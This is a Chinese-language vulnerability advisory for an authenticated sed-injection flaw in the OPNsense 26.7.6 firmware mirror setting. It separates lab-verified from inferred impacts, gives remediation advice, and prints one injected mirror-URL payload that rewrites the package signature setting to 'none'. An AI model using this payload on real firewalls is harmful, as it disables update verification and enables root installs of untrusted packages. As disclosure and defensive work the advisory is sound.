OPNsense 26.7.6 - 高危 - 远程 - 权限残留 - 自定义固件镜像 sed 跳过 pkg 指纹
abraxaslabs.tech · github.com/abraxas · @abraxas_null · [email protected] · opnsense-firmware-mirror-sed
类别: 签名跳过 可达性: 远程
OPNsense 核心 26.7.6 (a842fe48) - opnsense.org
系统:固件 set 提交自定义 mirror / flavour。核心 FILTER_SANITIZE_URL 保留 \|#;"。opnsense-update -m / -n 将该字符串插值到 OPNsense.conf 上的 sed 中,并可将 signature_type 从 "fingerprints" 翻转为 "none"。随后以 root 身份从攻击者 URL 执行 pkg install。设置页面提供仍签名的 OPNsense 包的自定义镜像。它没有“禁用签名”控件。权限为 page-system-firmware-manualupdate,而非 page-all。
Sed 位于 pin 之外的 opnsense-update 中。此 pin 上的核心是未净化的字段加上 -m 传递。实验室使用 GNU sed 重新运行该 s||| 程序文本。
此 GitHub 包在协调披露之前保持私有。
| ID | 暂无 CVE |
| 类别 | 签名跳过 |
| 可达性 | 远程(已认证 WebGUI / API) |
| CWE | CWE-74 / CWE-347 |
| CVSS | 高:7.2 CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H |
| 产品 | OPNsense core |
| 受影响 | 26.7.6 (a842fe48c21288d11a422cb944678e8eb308becf) 固件 set 自定义镜像 |
| 认证 | 具有 page-system-firmware-manualupdate 的 WebGUI 会话或 API 密钥 |
| 许可证 | GNU Affero GPL v3.0 |
| 实验室 | 仅 127.0.0.1 |
我固定了标签 26.7.6 剥离 a842fe48。实验室是一个 PHP 小工具,由 FILTER_SANITIZE_URL 加上 opnsense-update 的 mod_mirrorurl sed 组成,回环 HTTP 位于 127.0.0.1:18860。PR:H 是因为固件页面已被允许安装已签名包。如果该页面被视为 PR:L,则评分为 8.8。
| 方法 | 汇聚点 | 权限 |
|---|---|---|
对带有 | 的自定义镜像执行 FILTER_SANITIZE_URL,然后执行 opnsense-update 风格的 sed | 重写 OPNsense.conf | 完整性(实验室验证): signature_type 为 "none"。对照镜像保持 "fingerprints"。实验室:sanitize-keeps-pipe=yes signature_type=none fingerprints-control=yes。 |
| 同一 set,plugins 字段 | setAction 丢弃 plugins | 否定(实验室验证): plugins 在保存前被丢弃。 |
然后 POST /api/core/firmware/install/<pkg> | 以 root 身份从攻击者 URL 执行 pkg install -y | 完整性(推断): 以 root 身份安装未签名包。固件页面已安装已签名包;此遗留项即为验证跳过。实验室中没有未签名载荷。 |
然后 POST /api/core/firmware/update 或 /upgrade | 以 root 身份执行 opnsense-update -pt / -u | 完整性(推断): 基础/内核集跳过验证(DO_INSECURE)。 |
GET /api/core/firmware/info、/running、/upgradestatus | 固件 API | 侦察(推断): 包列表、更新日志、镜像选项。为此 ACL 的预期用途。 |
POST /api/core/firmware/reboot、/poweroff、/remove/<pkg> | configd 固件操作 | 可用性(推断): 重启/关机/移除。为此 ACL 的预期用途,而非遗留项。 |
实验室验证 vs 推断: sanitize 保留 | 且 signature_type 为 none 是实验室 SUCCESS。实时 pkg install 未签名包是推断的。小工具,而非完整的 OPNsense FreeBSD VM。没有未签名包载荷。
要求: 已登录用户或该用户的 Local API 密钥,具有 page-system-firmware-manualupdate 且没有 page-all。会话 POST 上的 CSRF。非未认证。非仅仪表盘。
| 攻击面 | 实验室 |
|---|---|
| 未认证固件 | 401 |
| 仅仪表盘 | 403 |
对照镜像 https://pkg.opnsense.org | signature_type 保持 "fingerprints" |
| 插件名遍历 | filter_pkgname |
| 变更日志获取 | 仍为 opnsense-verify |
save() 上的 user-config-readonly | throwReadOnly() |
| 无验证跳过的原版 HTTP 镜像 | 传输 MITM;仍需要指纹 |
| XMLRPC 固件 | 仅版本字符串 |
无未认证。无仅仪表盘。变更日志仍签名。
cd lab
./run.sh
回环 127.0.0.1:18860。Compose 项目 opnsense-firmware-mirror-sed。见证 OPNSENSE-FIRMWARE-MIRROR-SED-WITNESS。最后一行:
SUCCESS opnsense-firmware-mirror-sed sanitize-keeps-pipe=yes signature_type=none fingerprints-control=yes OPNSENSE-FIRMWARE-MIRROR-SED-WITNESS
Root 启动器:python3 opnsense-firmware-mirror-sed-Abraxas-Labs.py。
实验室中使用的攻击镜像形态(仅见证,无未签名 pkg):
https://example.invalid/|;/signature_type/s/"fingerprints"/"none"/;#
拒绝不是 URL 的自定义镜像。在 opnsense-update -m / -n 之前剥离 sed 元字符(|、;、#、"),或将 URL 作为文件传递,使 sed 永远不会将其视为程序文本。保持 signature_type: "fingerprints",除非有单独的、经过审计的控件关闭验证。不要让固件 set 将指纹重写为 "none"。
a842fe48c21288d11a422cb944678e8eb308becfFirmwareController.php setAction FILTER_SANITIZE_URLscripts/firmware/repos/OPNsense.php opnsense-update -sd -mOPNsense.conf.shadow.in 原版 signature_type: "fingerprints"opnsense-update mod_mirrorurl(在 url: 行上的 s\|\|)